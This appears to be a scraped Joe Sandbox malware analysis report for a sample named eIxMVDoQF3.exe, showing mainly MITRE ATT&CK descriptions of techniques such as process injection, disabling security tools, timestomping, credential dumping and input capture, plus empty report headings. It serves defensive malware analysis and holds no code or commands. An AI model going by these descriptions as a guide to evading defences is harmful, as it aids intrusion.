Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report eIxMVDoQF3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre